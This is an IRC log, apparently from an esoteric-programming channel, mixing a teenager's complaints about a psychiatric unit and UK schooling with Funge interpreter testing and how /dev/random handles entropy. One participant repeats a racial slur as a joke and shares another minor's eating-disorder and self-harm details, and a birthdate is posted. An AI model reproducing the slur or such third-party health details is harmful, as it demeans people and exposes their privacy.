21:13:14 <alise> I don't think they know I'm ehird.
21:13:29 <ais523> for a while, I was wondering if pineapple was you (UK ISP, and my client decided to give you the same nick colour), but I decided it was someone else
21:13:45 <alise> Never seen him.
21:14:00 <ais523> he was here earlier, and talked in a similar way
21:14:00 <alise> If you ask I'll always respond in the affirmative, btw, so that's one way of identifying me.
21:14:05 <ais523> but I suppose it was just a case of both being brits
21:14:09 <alise> What, whiningly? :)
21:14:21 <ais523> alise: that isn't a definite method of identification
21:14:28 <ais523> it's free from false negatives, but not from false positives
21:14:35 <ais523> in that if I ask someone else if they're alise, they might lie and say yes
21:14:40 <alise> Anyway I could tell you all about the horrible week I've had, but you've heard it all before. So unless anyone asks - or I get the inclination - it'll just be left unsaid.
21:14:55 <pikhq> alise: So, horrible but nothing new? Mmkay then.
21:15:02 <pikhq> Enjoy your moments of sanity, then.
21:15:16 -!- Deewiant has joined.
21:15:21 -!- AnMaster has joined.
21:15:21 -!- HackEgo has joined.
21:15:26 <ais523> hmm, partly as an antidote to the Java I do for work, I was doing some Haskell also for work
21:15:26 <alise> Well, something got marginally better in the latter days - they're, zomg, closing the door to my bedroom at night! So now I can actually have troubled sleep instead of staring at bright lights all night.
21:15:35 <alise> Which is, you know, "improvement".
21:15:58 <ais523> alise: it sounds to me like an equivalent boarding school, which seems pretty awful
21:16:08 -!- ineiros has joined.
21:16:15 <ais523> I remember that I was at one of the UK maths camps, which was being held in a boarding school
21:16:17 <alise> Boarding school with bullshit pseudo-psychology
21:16:22 <fax> can we just talk about finite calculus??
21:16:24 <pineapple> ais523: same nick colour?
21:16:26 <ais523> the environment was weird, and more so because I was in a girl's bedroom
21:16:27 <alise> Although at about the same time I was told that if I wanted to continue reading at night I'd have to go to bed earlier...
21:16:34 <ais523> pineapple: yes, my client colours people's nicks depending on who they are
21:16:39 <ais523> but from a relatively small palette
21:16:47 <alise> Because, you know, going to bed minutes later will kill me. (Maybe they could not wake me up at 7 every day?!)
21:16:52 <ais523> (she wasn't there at the time, they were reusing the bedrooms)
21:16:53 <alise> (It's not like I have to travel.)
21:16:54 <pikhq> alise: Wait, wha? Makes no sense.
21:17:00 <fax> I never went to a math camp
21:17:01 <pineapple> the 16 colour palette?
21:17:09 <ais523> pineapple: no, a different one I think, and even smaller
21:17:11 <alise> pikhq: yeah and all the night staff do is just sit around and watch tv all night...
21:17:16 <pineapple> aaah
21:17:22 <alise> nice productive 'job'
21:17:25 <fax> well I supposed that's not surprising since I was never exceptionaly good at math
21:17:28 <ais523> magenta, blue, green, cyan, grey, red
21:17:30 <ais523> that's about it
21:17:38 <Sgeo> Math camp? o.O
21:17:38 <pikhq> alise: Yeah, they're being paid primarily for being available in case of a random emergency.
21:17:52 <alise> They're totally incompetent though.
21:17:52 <pineapple> ais523: UK maths camps?
21:18:02 <ais523> hmm, spam gets weirder and weirder: <Beta Tester Group> Do You Qualify - Get a $250 Grocery Gift Card
21:18:02 -!- charlesq__ has joined.
21:18:04 <ais523> pineapple: yes
21:18:12 <ais523> UKIMO reserves, mostly
21:18:20 <alise> United Kingdom In My Opinion.
21:18:29 <pineapple> international math olympiad
21:18:34 <ais523> (next issue here: based on that question, do we know each other?)
21:18:59 <pineapple> ais523: apart from i know that you're a sysop at the esolangs wiki... afaik no
21:19:05 <alise> pikhq: The first day that I was told (by the day staff) that they would tell the night staff to close my door (wow it is so inane negotiating things there it's like i'm 5 years old) it was shut for about 10 minutes then someone turned the light on, opened the door, and propped it up.
21:19:16 <alise> Privacy and communication. It's what we're best at.
21:19:35 <pikhq> alise: It's a CYA thing, not an "actually doing things" thing, having night staff.
21:19:38 <pineapple> alise: where is this?
21:19:46 <alise> pineapple: You Don't Want To Know.
21:19:51 <ais523> pineapple: I was in the Cambridge and Oundle camps in 2004 and 2005, IIRC, although I might be off by one year there
21:20:04 <alise> pineapple: Suffice to say I'm considered crazy and underage by the state; only one of these is correct.
21:20:13 <fax> ais how did you get involved in something like that initally?
21:20:20 <ais523> competitions
21:20:26 <ais523> if you do well enough in them, they send you an invitation
21:20:30 <fax> ohh
21:20:35 <pineapple> there used to be (still is?) a competition for 11-15yo kids at school
21:20:46 <ais523> and another competition for people who are slightly older
21:20:53 <ais523> UKJMC, UKIMC, UKSMC
21:20:53 <alise> pineapple: Well okay actually if you asked, you probably do want to know. Do you?
21:20:55 -!- charlls has quit (Ping timeout: 258 seconds).
21:20:56 <pikhq> alise: Clearly you're absolutely bonkers but immortal.
21:21:12 <ais523> three in all
21:21:27 <pineapple> ais523: iirc, i had best in school on the UKJMC when i was in year 8
21:21:28 <ais523> and pineapple is /definitely/ involved in them, on the basis that he knows too much to not be
21:21:40 <ais523> pineapple: heh, in that case you didn't go to the same school as me
21:22:04 <pineapple> alise: i'm certainly willing to listen
21:22:22 <pineapple> or maybe not in the same year... my gcse year was 1999
21:23:05 <ais523> hmm, yes, good point
21:23:10 <alise> So you're approximately ... eleven? years older than me
21:23:13 <ais523> now I have to work out when mine was
21:23:22 <pineapple> i'm 26... :-/
21:23:25 <alise> I will summarise to pineapple in /msg so I don't bloat the channel
21:23:30 <pineapple> alise: fine
21:23:31 <ais523> 22
21:23:32 <alise> pineapple: twelve years older :P
21:23:37 <ais523> almost 23
21:24:33 <ais523> so I probably missed you by one year at the camps
21:24:34 <alise> "22 and ONE HALF!!!"
21:25:06 <ais523> 22 and more than 11 months
21:25:20 <ais523> hmm, come to think of it, my date of birth's probably online somewhere
21:25:52 <pikhq> I think mine's probably in the channel logs somewhere.
21:26:06 <pikhq> If it's not, well. 4 more days until I'm 20. Whooo.
21:26:19 <Sgeo> Why am I surprised that I'm older than pikhq ?
21:26:20 <ais523> pikhq: somehow, I never thought of you as being younger than me
21:26:32 <alise> Sgeo: Huh - I'm surprised too.
21:26:34 <alise> How old is pikhq?
21:26:36 <alise> 20something?
21:26:40 <alise> Wait, what/
21:26:42 <alise> 19?
21:26:44 <ais523> alise: 19, based on what he just said
21:26:45 <pikhq> 19.
21:26:45 <alise> *what?
21:26:46 <pikhq> Yes.
21:26:48 <alise> :|
21:26:50 <alise> I feel inferior
21:27:01 <alise> then again I've got 4 years to catch up.
21:27:06 <alise> WHEN I'M OLDER THAN YOU
21:27:08 <ais523> alise: you're by far the best programmer of your age I know
21:27:23 <pikhq> Yeah, you're... Pretty damned good.
21:28:05 <ais523> I mean, you might even be better than me, and I'm pretty good to
21:28:07 <ais523> *too
21:28:14 <ais523> probably everyone in this channel is
21:28:50 <pikhq> Well, yeah. We have a tendency to attract only the people that think bizarre programming languages are a neat idea.
21:29:24 <alise> ais523: I think you're a better programmer than me
21:29:30 <olsner> pikhq: I wonder why that is...
21:29:42 <alise> olsner: Well, it gets boring talking about magick.
21:29:51 <ais523> alise: there isn't really any easy way to test; maybe not any easy way to define it
21:29:54 <alise> ais523: 15 April 1987
21:30:00 <fax> WHAT HAS ALISE WRITTEN?
21:30:03 <fax> NAME ONE PROGRAM
21:30:05 <ais523> alise: correct; which info source did you use?
21:30:05 <fax> ...........
21:30:09 <alise> fax: butts(1)
21:30:13 <alise> name one program ais523 wrote
21:30:16 <alise> ais523: http://www.wolframscience.com/prizes/tm23/alex_smith_bio.html
21:30:20 <ais523> fax: the underload to C compiler
21:30:25 <alise> i figured if it has a picture of you it must have your birthdate
21:30:28 <ais523> alise: yep
21:30:30 <alise> ais523: that was pretty awful code though
21:30:33 <alise> the scheme version
21:30:38 <pineapple> alise: you were born on a wednesday
21:30:43 <pikhq> fax: Name to me one program *you've* written!
21:30:43 <ais523> alise: still, it was generated pretty quickly
21:30:48 <ais523> pineapple: tab-complete fail?
21:30:48 <alise> pineapple: not me ais523
21:30:49 <fax> I haven't written any
21:30:50 * Sgeo wonders what people think of his code >.>
21:30:57 <pineapple> no
21:31:01 <alise> I was born on a ... I don't know what day 22 august 1995 was
21:31:02 <ais523> and I know I was born on Wednesday, and think it's a pretty irrelevant fact
21:31:03 <pineapple> not reading properly fail
21:31:13 <pikhq> Sgeo: Code? Oh, right. PSOX.
21:31:28 <ais523> alise: Tuesday, apparently
21:31:29 <alise> Oh, oh, amusingness time!
21:31:32 <pineapple> ais523: meh... i'm just bored (and i can work it out in my head)
21:31:35 <ais523> pikhq: THOU SHALT NOT MENTION PSOX
21:31:38 <alise> My teacher is apparently trying to get a teacher for me so that I can have IT lessons.
21:31:39 <pikhq> alise: 95? Man. I've been on the Internet since before you were born.
21:31:48 <alise> Which are, of course, an area in which I am lacking in skills!
21:31:51 <alise> *Which is
21:31:54 <Sgeo> I also have publically available Javasscript stuff, but I like to pretend it doesn't exist
21:31:56 <ais523> pineapple: ah, that's impressive; I never bothered to learn the algorithm, especially as I have cal to hand
21:32:00 <Sgeo> And it was written relatively recently!
21:32:01 <pikhq> alise: LMAO
21:32:09 -!- augur has joined.
21:32:28 <alise> Maybe I'll just open Notepad and write a program for every task I'm asked to do.
21:32:30 <pineapple> ais523: i'm not as fast at it as i could be, though...
21:32:31 <ais523> alise: I was actually thinking slightly about this; the best solution IMO is to do your GCSEs/A-levels as soon as possible
21:32:40 <ais523> regardless of whether it's too early or not
21:32:42 <pineapple> alise: notepad? :-/
21:32:49 <ais523> you should be able to do really easily
21:32:50 <olsner> wow, 1995, even I was on the internet before then
21:32:52 <alise> pineapple: Since when do school computers have Emacs?
21:32:55 <alise> I mean vim!
21:32:57 <alise> I mean Emacs! ...
21:32:58 <alise> ais523: No - that will involve me being registered with a school
21:33:04 <pineapple> (and no... i am not writing programs in doublefuck with my smileys)
21:33:06 <alise> ais523: Which creates further issues with moving probably
21:33:11 <alise> ais523: Anyway why would that help?
21:33:14 <ais523> alise: IIRC there's some way to do it without being registered
21:33:15 <pineapple> alise: well... heh
21:33:18 <ais523> public exam places, or something
21:33:24 <pineapple> if you can't install anything, then fair enough
21:33:29 <ais523> and it would prove that you really didn't need low-level education
21:33:35 <alise> well i don't think i'd be expected to write a program
21:33:40 <alise> lol the coyotos guy is leaving microsoft already
21:33:46 <pikhq> If it's even vaguely similar to the US's GED program, it'd be pretty trivial for you to do.
21:33:46 <ais523> I know I was really depressed in my IT GCSE
21:33:52 <alise> ais523: well the unit is controlling all this sort of stuff so
21:33:56 <ais523> because they wanted me to print off the formula view of all the spreadsheet pages
21:33:57 <alise> I can't exactly do tests on the weekends
21:33:58 <ais523> and they were all identical
21:34:04 <ais523> alise: ugh, yes
21:34:05 <alise> and you get like... single day holidays
21:34:09 <alise> they even wanted me in on christmas eve
21:34:21 <alise> "It's a HOSPITAL!"
21:34:25 <ais523> alise: my guess there is that they employ control freaks, because nobody else would want the job
21:34:32 <alise> ais523: "IT" is an alias for "Office".
21:34:37 <alise> MS Office that is.
21:34:41 <ais523> alise: I know
21:34:46 -!- uorygl_ has changed nick to uorygl.
21:34:58 <ais523> I complained that the syllabus was asking people to say copy/paste was a good way to duplicate info on a spreadsheet
21:35:15 <alise> ugh, that's the worst thing about PHSE (apart from the whole fucking subject)
21:35:17 <pikhq> alise: There are places here that offer "degrees in IT". I find it hilarious that people are getting degrees in Office.
21:35:19 <ais523> because at the time, I knew of four spreadsheet programs (supercalc, lotus 1-2-3, works, excel), and only excel did copy and paste
21:35:20 <pikhq> Also depressing.
21:35:21 <pikhq> Very depressing.
21:35:24 <alise> "<Statement>. Write a paragraph to support this"
21:35:36 <alise> what if I fucking disagree you government-originated piece of crap?
21:35:56 <Deewiant> You should still be able to argue the opposing viewpoint
21:35:56 <ais523> alise: in history, they do the same thing except they ask you to argue both sides
21:35:59 <pikhq> How could anyone have any other opinion?
21:36:00 <ais523> which makes a lot more sense
21:36:02 <Deewiant> Unless it's utter nonsense
21:36:32 <ais523> "Novell slandered SCO's title by claiming to own the copyright to UNIX." Write a paragraph to support this
21:37:00 <alise> Deewiant: But that isn't what you're asked, and if you do that the anal-retentive teachers will tell you off.
21:37:06 <alise> And make you do what it says. Sigh.
21:37:11 <Deewiant> alise: Yes it i s?
21:37:13 <Deewiant> is*
21:37:20 <alise> No, it asks you to /support/ the statement.
21:37:24 <alise> Not oppose it.
21:37:26 <Deewiant> Yes, and that's what I meant
21:37:32 <ais523> alise: Deewiant means that, a good debater/lawyer can argue the opposite of their own opinion
21:37:33 <Deewiant> You should be able to argue the viewpoint which opposes your own
21:37:45 <Deewiant> Since you evidently opposed it
21:37:50 <alise> Deewiant: ah
21:37:55 <alise> but still, it's sleazy
21:38:02 <alise> because you're meant to be "learning" these "opinions"
21:38:13 <ais523> alise: you can practice by writing paragraphs on why the unit is a good idea
21:38:17 <fax> I have no idea what anyone here is talking about
21:38:40 <alise> ais523: that's a literally impossible task
21:38:44 <alise> fax: stupid UK curriculum
21:38:48 <pikhq> It's stuff like "George Bush was the greatest president ever, and he totally defeated every terrorist. Write a paragraph to support this."
21:39:02 <pikhq> (level of stupidity, not specific example)
21:39:08 <ais523> fax: try not reading about how UK assessment works, it'll make your brain melt
21:39:24 <ais523> for instance, the maths A-level became around 16% easier the year after I did it, and I have objective evidence of this
21:39:41 <ais523> (the official line is that the kids are getting cleverer, rather than the exams getting easier)
21:39:44 <pikhq> ais523: ... You mean it's more stupid than the US system?
21:39:57 <ais523> pikhq: schooling is (slightly, at least) better, but assessment is really stupid
21:40:24 <ais523> try looking for what the pass mark for maths GCSE is nowadays
21:40:25 <pikhq> Our assessment is also freaking stupid, but it's more consistent at least...
21:40:55 <pikhq> Note that we have started teaching, not knowledge, but how to take the tests.
21:41:20 <pikhq> Which are usually multiple choice.
21:41:22 <ais523> yahoo answers says 90% for the top mark, but those are "scaled marks" designed to fit everyone to a normal distribution...
21:41:37 <ais523> according to the second Google result, the raw pass mark is currently 16%
21:41:59 <pikhq> Oh, and essay exams? They are *computer graded*.
21:42:20 <ais523> hahahahahahahaha
21:42:24 <alise> we have to use this really piss-poor Flash-based examination system
21:42:29 <Deewiant> On what, number of keywords?
21:42:31 <ais523> admittedly, the same happens in the UK, except that they're graded by humans following a strict algorithm
21:42:42 <pikhq> Deewiant: I dunno.
21:42:42 <ais523> Deewiant: yep
21:42:46 <alise> and by piss poor I mean nigh on impossible to use
21:42:58 <ais523> alise: please tell me it's better than WebCT
21:43:10 <ais523> which is an attempt to reimplement all the standard web technologies via other means, as far as I can tell
21:43:15 <ais523> and as a result breaks really badly almost all the time
21:43:22 <alise> it's called Goal
21:43:34 <fax> alise do you ever get angry
21:43:40 <alise> http://www.goalonline.co.uk/
21:43:42 <alise> fax: all the time, why
21:44:55 <fax> me too
21:45:04 <alise> http://www.goalonline.co.uk/23.08.06CROYDONGUARDIANADDINGTONHIGHSCHOOL.BMP
21:45:04 <alise> NICEFILENAMEANDIMAGEFORMAT.BMP
21:45:20 <Deewiant> :-D
21:45:26 <Deewiant> Hahaha
21:45:29 <Deewiant> 1700x2340 BMP
21:45:33 <alise> it still hasn't loaded!!!
21:45:46 <alise> fax: not randomly though... just because my life really sucks :D
21:45:49 <Deewiant> BMP of a photograph of a newspaper xD
21:46:02 <ais523> oh, I didn't even notice it was a bmp
21:46:03 <alise> Deewiant: the scanner was being used!!!
21:46:09 -!- Azstal has joined.
21:46:10 <ais523> although I did notice it loaded from the bottom upwards, that should have been a clue
21:46:15 <alise> it's almost as comical as the actual product
21:46:16 <Deewiant> It's 12 megabytes
21:46:37 <alise> why do bmps start with the end?
21:46:44 <Deewiant> Why not?
21:46:52 <ais523> because it made blitting them to video graphics easier back in the days of windows 3.1
21:47:09 <fax> <3 ais
21:47:56 <AnMaster> <alise> Which is, you know, "improvement". <-- so you didn't get to stay at home?
21:47:56 <AnMaster> why
21:47:59 -!- Asztal has quit (Ping timeout: 260 seconds).
21:48:01 <AnMaster> :(
21:48:03 -!- Azstal has changed nick to Asztal.
21:48:06 <AnMaster> alise, also: move abroad
21:48:10 <AnMaster> that is what you have to do
21:48:17 <alise> AnMaster: Because they never let me? I just refused to go while stuff was being sorted out -- and also that is the plan.
21:48:20 <ais523> AnMaster: I'm not convinced that it'll help much
21:48:23 <alise> Of course it will.
21:48:31 <alise> coppro and pikhq - bless 'em - have looked into the relevant laws.
21:48:37 <alise> If I commit no crime I can move and be completely safe.
21:48:51 <ais523> can they try to section you retrospectively?
21:49:02 <alise> No.
21:49:16 <alise> You can only section someone under the jurisdiction of UK law.
21:49:44 <alise> ais523: they can only get me if I committed a crime on UK soil
21:49:50 <alise> that's the only way you can extradite someone
21:49:54 <Deewiant> AnMaster: This might amuse you: pyfunge Mycology output prior to a recent change: http://pastebin.com/8taKGWs7 and after: http://pastebin.com/rZVSXiUu
21:50:00 <ais523> anyone wondering about UK assessment problems: http://www.timesonline.co.uk/tol/life_and_style/education/article564491.ece
21:50:17 <alise> pyfunge - that a new one?
21:50:22 <alise> Yours?
21:50:24 <alise> Why write Python?
21:50:31 <Deewiant> It's old and not mine
21:50:41 <olsner> hmm, maybe that's why Mac (still) draws images backwards
21:50:42 <alise> Oh, that one.
21:51:04 <alise> disambig(Mac)
21:51:07 <alise> OS X?
21:51:11 <olsner> yah
21:51:24 <olsner> at least iphone does
21:51:33 <AnMaster> Deewiant, pyfunge?
21:51:41 <AnMaster> Deewiant, I thought it passed with flying colours
21:51:44 <Deewiant> Does nobody remember pyfunge? :-P
21:51:47 <pineapple> ais523: 16%... i knew it could be as low as 20% if you were doing maths at higher tier (back in the 3 tier system)
21:51:49 <ais523> also, why is it bad for 1k[ to turn left? I can't remember
21:51:49 <Deewiant> No, it didn't
21:51:58 <Deewiant> ais523: It should turn left at the k, not the [
21:52:04 <ais523> Deewiant: ah, ofc
21:52:05 <AnMaster> Deewiant, wasn't it the one lifthrasiir made?
21:52:10 <ais523> misread what you were testing
21:52:19 <Deewiant> AnMaster: Yep
21:52:26 <Deewiant> It's an old one, though
21:52:26 <olsner> wtf, how did they make that page, it's a 404 in opera, but works in chrome
21:52:33 <alise> It's quite amusing just how crazy the other people at the unit are compared to me.
21:52:39 <AnMaster> Deewiant, also in the second one, what happened to the output in the second one?
21:52:48 <Deewiant> AnMaster: Yeah, that's the funny part :-)
21:52:49 <AnMaster> Deewiant, I mean, a lot of the beginning was lost
21:52:54 <alise> There's an anorexic girl who from what I can tell has been cutting herself there, about 13. On a feeding tube quite a lot of the time.
21:53:00 <AnMaster> Deewiant, or was it just cut?
21:53:07 <Deewiant> AnMaster: Nope, that's the whole output
21:53:14 <Deewiant> Before and after the change
21:53:14 <AnMaster> Deewiant, how did it manage that ^_^
21:53:26 <Deewiant> Made me blink a bit as well :-D
21:53:32 <AnMaster> Deewiant, was the "BAD: 2k6 leaves 2 sixes on stack" a fatal error?
21:53:38 <Deewiant> Yes
21:54:02 <Deewiant> AnMaster: Evidently it does something very unexpected with form feeds in the source
21:54:03 <ais523> of course, the other possibility is that alise is actually a psychopathic murderer or something and doesn't know it, and only comes here in lucid periods
21:54:09 <AnMaster> Deewiant, I see...
21:54:20 <ais523> but it seems unlikely to me
21:54:29 <Deewiant> AnMaster: As far as I can tell RC/Funge-98 treats them as EOF, for what it's worth
21:54:40 <alise> ais523: I've metaanalysed my sanity more times than I can count; any rational person would in the face of all these people sure I'm crazy.
21:54:45 <alise> Checks out okay for me, though.
21:54:46 <AnMaster> Deewiant, cfunge ignores them iirc
21:54:58 <AnMaster> Deewiant, like EOF should be in unefunge
21:55:01 <Deewiant> Yes, I haven't managed to coax a BAD out of cfunge yet ;-)
21:55:07 <AnMaster> Deewiant, :D
21:55:09 <Deewiant> But I'll keep trying
21:55:09 <ais523> alise: hey, when I did that, I decided I was actually insane, but so was the world in general so I didn't care
21:55:15 <AnMaster> Deewiant, what about efunge?
21:55:22 <Deewiant> Haven't been trying that now
21:55:25 <Deewiant> Could though, I suppose
21:55:28 <AnMaster> Deewiant, oh and I don't have time to make a new release in the next few weeks
21:55:36 <coppro> ais523: You didn't build an inside-out asylum, did you? :P
21:55:43 <alise> ais523: Well, I need some kind of base measure.
21:55:44 <Deewiant> AnMaster: Don't worry, I probably don't either :-P
21:55:56 <ais523> alise: this channel may not be the best place...
21:56:01 <ais523> coppro: no point, I was crazy too
21:56:04 <AnMaster> Deewiant, so please use the last version. To avoid the issue with y as pick
21:56:10 <AnMaster> Deewiant, it has been fixed for both efunge and cfunge
21:56:13 <AnMaster> (different issues)
21:56:17 <AnMaster> (but both had issues)
21:56:24 <AnMaster> but you need to use last revision
21:56:45 <alise> Ooh, a neat Chrome feature.
21:56:49 <alise> wolframa<TAB>2+2<ENTER>.
21:56:56 <alise> It automatically detects site searches in the address bar!
21:57:01 <fax> wolfram alpha is pissing me off
21:57:07 <alise> It's annoying, but still.
21:57:10 <alise> You have to love it.
21:57:10 <ais523> alise: IIRC even firefox does that
21:57:16 <alise> ais523: no, you don't go to wolfram alpha
21:57:27 <alise> you type wolframa, it (gets from google the results) shows wolframalpha.com, you press TAB
21:57:29 <alise> then the address bar is
21:57:32 <fax> it just gives up if your query is longer than like 70 chars..
21:57:34 <alise> [Search wolframalpha.com:]
21:57:35 <ais523> alise: I thought there was some way to do that
21:57:38 <Deewiant> AnMaster: Hmm, it doesn't seem to build much
21:57:41 <alise> Without even loading the page?
21:57:45 <alise> s/:\] $/:]/
21:57:57 <AnMaster> alise, it is possible in firefox
21:57:59 <AnMaster> not sure how
21:58:03 <AnMaster> Deewiant, what doesn't?
21:58:05 <Deewiant> AnMaster: Ah, it just doesn't like my EFUNGE_ROOT it seems
21:58:05 <AnMaster> Deewiant, cfunge?
21:58:15 <AnMaster> Deewiant, EFUNGE_ROOT? I don't remember that
21:58:19 <Deewiant> First it says "efunge directory not found" then I set EFUNGE_ROOT and now it says efunge.beam not found
21:58:29 <Deewiant> AnMaster: Since I'm not running it from the source dir, it wants that set
21:58:32 <AnMaster> Deewiant, it should be run from the dir where efunge it
21:58:34 <AnMaster> ./efunge
21:58:35 <AnMaster> or such
21:58:37 <AnMaster> well yeah
21:58:46 <AnMaster> Deewiant, efunge.beam should be in ebin
21:58:47 <Deewiant> AnMaster: That's horribly inconvenient
21:58:58 <AnMaster> Deewiant, well, sure, but tell me if it works there
21:59:01 <Deewiant> Ah yes, I should point root to the ebin directory
21:59:05 <Deewiant> Not the root directory
21:59:05 <AnMaster> setting EFUNGE_ROOT *should* work though
21:59:08 <AnMaster> Deewiant, of course
21:59:09 <AnMaster> but
21:59:15 <AnMaster> yeah maybe I should do something about that
21:59:20 <Deewiant> My mistake
21:59:34 <AnMaster> Deewiant, the issue is that I can't really detect where "I" am on POSIX
21:59:47 <Deewiant> AnMaster: efunge doesn't shrink the Funge-Space bounds! Tut, tut.
21:59:53 <AnMaster> Deewiant, um it does
22:00:00 <AnMaster> Deewiant, I have checked that
22:00:06 <AnMaster> Deewiant, sure you use the last revision?
22:00:08 <Deewiant> Oh, woops, my mistake, there's still a bug in that code
22:00:14 <ais523> Deewiant: testing slowdown?
22:00:19 <AnMaster> well
22:00:26 <AnMaster> slowdown won't work well on efunge I think
22:00:27 <Deewiant> ais523: Nah, adding the bounds-shrinking testing stuff to Mycology
22:00:40 <AnMaster> due to slowdown trying to generate a random placed from the cell size
22:00:41 <ais523> oh, bounds-shrinking is required by the spec?
22:00:43 <AnMaster> which just doesn't work
22:00:51 <ais523> AnMaster: haha
22:01:05 <ais523> maybe it should use an exponential distribution, or something
22:01:05 <AnMaster> ais523, after all, what is a random number between 0 and 8^-1
22:01:14 <ais523> AnMaster: anything between 0 and 1/8
22:01:15 <AnMaster> ais523, an integer that is
22:01:23 <Deewiant> 2^-8 actually
22:01:28 <AnMaster> Deewiant, oh?
22:01:31 <AnMaster> oh right
22:01:34 <AnMaster> Deewiant, anyway
22:01:43 <AnMaster> slowdown can't work on efunge due to that issue
22:01:47 <Deewiant> Yep
22:01:58 <AnMaster> Deewiant, and I'm not going to "fix" it
22:02:06 <AnMaster> because I consider it not a bug
22:02:08 <AnMaster> but a feature
22:02:12 <Deewiant> Sure, understandable
22:02:34 <Deewiant> I could patch slowdown to use some reasonably-large number if it gets <0 but I haven't bothered
22:02:35 <AnMaster> Deewiant, after all, I don't know any other bignum funge. It is exploiting a specific niche
22:02:41 <AnMaster> Deewiant, indeed
22:02:48 <AnMaster> Deewiant, iirc it messes up that other test suite too
22:02:50 <AnMaster> forgot it's name
22:02:56 <Deewiant> ais523: The spec says "least point which contains a non-space cell"
22:02:57 <AnMaster> rather limited compared to mycology
22:03:05 <Deewiant> The Cat's Eye one?
22:03:14 <AnMaster> Deewiant, no the third one
22:03:23 <AnMaster> fungus or something wasn't it
22:03:27 <Deewiant> Fungus, yes
22:03:34 <ais523> Deewiant: hmm, what about Unicode whitespace?
22:03:36 <AnMaster> efunge *should* handle shrinking bounds
22:03:42 <AnMaster> I can't answer what ATHR will do to it
22:03:44 <AnMaster> well I could
22:03:47 <AnMaster> but it would be complicated
22:03:48 <Deewiant> ais523: I think "space" is fairly well defined in the spec :-P
22:03:56 <Deewiant> ais523: Questioning that will only lead to trouble
22:03:57 <AnMaster> and require quite a deep understanding of efunge internals
22:04:00 <ais523> Deewiant: OK
22:04:20 <AnMaster> but since mycology doesn't test ATHR it should not cause any issues
22:04:30 <AnMaster> Deewiant, if you want to test TURT use the supervisor branch
22:04:36 <AnMaster> trunk lacks TURT
22:04:38 <AnMaster> on efunge
22:09:04 <Deewiant> Hmm, I don't suppose I can get a printout of some funge-space area out of cfunge/efunge
22:10:09 <AnMaster> Deewiant, you can using gdb for cfunge
22:10:18 <AnMaster> there is a function enabled for debug builds of cfunge
22:10:26 <AnMaster> for efunge, well you can also use a debugger or such
22:10:31 <AnMaster> Deewiant, of course you can use o for it
22:10:39 <AnMaster> if you can change the code to include an o
22:10:50 <Deewiant> o would probably be easiest, yeah
22:11:13 <AnMaster> Deewiant, for efunge I don't *think* there is any "pre-made" dumping function
22:11:17 <AnMaster> I'm not quite sure XD
22:12:38 <AnMaster> indeed can't find any
22:12:56 <AnMaster> I guess it is just a one-liner in an erlang shell for supervisor
22:13:02 <ais523> probably a one-liner in funge itself, too
22:13:04 <AnMaster> somewhat harder for trunk probably
22:13:11 <AnMaster> ais523, well sure
22:13:22 <Deewiant> Hmm, I think I'm fairly sure that cfunge/efunge are not shrinking bounds properly
22:13:30 <AnMaster> Deewiant, in what way, and test case please
22:13:50 <alise> "I have a hunch..." "PROVE IT!"
22:14:07 <AnMaster> alise, I can't do anything without knowing what exactly is the issue
22:14:15 <AnMaster> because for my tests of it, it worked
22:14:20 <AnMaster> unlike ccbi1 iirc
22:14:21 <alise> 10:12:43 <ais523> idea suggested in another channel: use /b/ as an entropy source for /dev/random
22:14:21 <alise> A cycle of "nigger" does not have very good statistical randomness.
22:14:38 <ais523> I assume they do other things too, though
22:14:43 <fax> that's why it's called pseudorandom
22:14:53 <ais523> and the way /dev/random works, it doesn't matter if you put patterned or non-random data into it
22:14:58 <AnMaster> alise, you could use the timing of the postings
22:15:09 <AnMaster> ais523, really?
22:15:15 <ais523> AnMaster: yep
22:15:24 <AnMaster> ais523, does it try to detect patterns and throw such away?
22:15:30 <AnMaster> (which seems hard to me.)
22:15:30 <ais523> AnMaster: it doesn't use the data unchanged
22:15:38 <ais523> it uses /entropy/ from the input
22:15:50 <AnMaster> ais523, well sure, but you can still influence it that way can't you?
22:15:56 <AnMaster> if you know all the input data sent to it
22:16:04 <ais523> basically, assume you have an internal seed, which is true-random (don't worry about where it comes from for now), and some external data
22:16:15 <ais523> if you XOR the seed with the external data, it's still just as random
22:16:25 <ais523> even if the external data is all zeros
22:16:27 <AnMaster> ais523, then why does it need the external data at all
22:16:34 <ais523> so long as the external data isn't produced with knowledge of what the seed is
22:16:52 -!- augur has quit (Ping timeout: 265 seconds).
22:17:02 <ais523> now, that keeps randomness constant; you can also add randomness to a system if you have a measure of how much entropy is in the original message
22:17:05 <AnMaster> Deewiant, anyway, what is the issue you are seeing
22:17:11 <alise> 10:14:34 <fax> I guess you could make a game that uses /b/ as input
22:17:12 <ais523> so if you put /dev/zero into /dev/random, you don't get any more entropy
22:17:17 <alise> 10:14:55 <fax> kind of like tetris peices, except memes
22:17:17 <alise> you'd just get DESU all the time
22:17:25 <ais523> if you put something like #esoteric in, you get rather more
22:17:29 <AnMaster> Deewiant, cfunge and efunge use *completely* different ways for doing it btw
22:17:39 <ais523> if you put in a true-random source, ideally it would go perfectly
22:18:01 <Deewiant> AnMaster: http://paste.pocoo.org/raw/191616/ :-P
22:18:02 <fizzie> ais523: I don't think it can actually count the amount of entropy in the input data, though, so you might fool the bits of the code that maintain the estimate to how much data it's safe to give out of /dev/random.
22:18:27 <Deewiant> AnMaster: Sorry, that actually creates the o dump as well into /tmp/y
22:18:29 <ais523> fizzie: hmm, possibly
22:18:37 <Deewiant> AnMaster: You can disable that easily enough on the bottom line if you want to
22:18:39 <ais523> although there may be some well-known way to get a lower bound
22:18:42 <ais523> which would be good enough
22:19:14 <AnMaster> Deewiant, issue: those first BAD seems wrong
22:19:22 <AnMaster> Deewiant, also what is your theory for it hanging there
22:19:23 <Deewiant> First BAD?
22:19:24 <fizzie> ais523: Also, from the /dev/random sources:
22:19:30 <fizzie> * outside observer to measure. Randomness from these sources are
22:19:30 <AnMaster> BAD: least point should have been ( -1 -1 )
22:19:30 <fizzie> * added to an "entropy pool", which is mixed using a CRC-like function.
22:19:30 <fizzie> * This is not cryptographically strong, but it is adequate assuming
22:19:30 <fizzie> * the randomness is not chosen maliciously, and it is fast enough that
22:19:30 <fizzie> * the overhead of doing it on every interrupt is very reasonable.
22:19:30 <fizzie> * As random bytes are mixed into the entropy pool, the routines keep
22:19:31 <AnMaster> Deewiant, that ^
22:19:32 <fizzie> * an *estimate* of how many bits of randomness have been stored into
22:19:34 <fizzie> * the random number generator's internal state.
22:19:38 <AnMaster> and the greatest point one too
22:19:40 <Deewiant> AnMaster: Yes, that's wrong, ignore that. -3 -2 is right
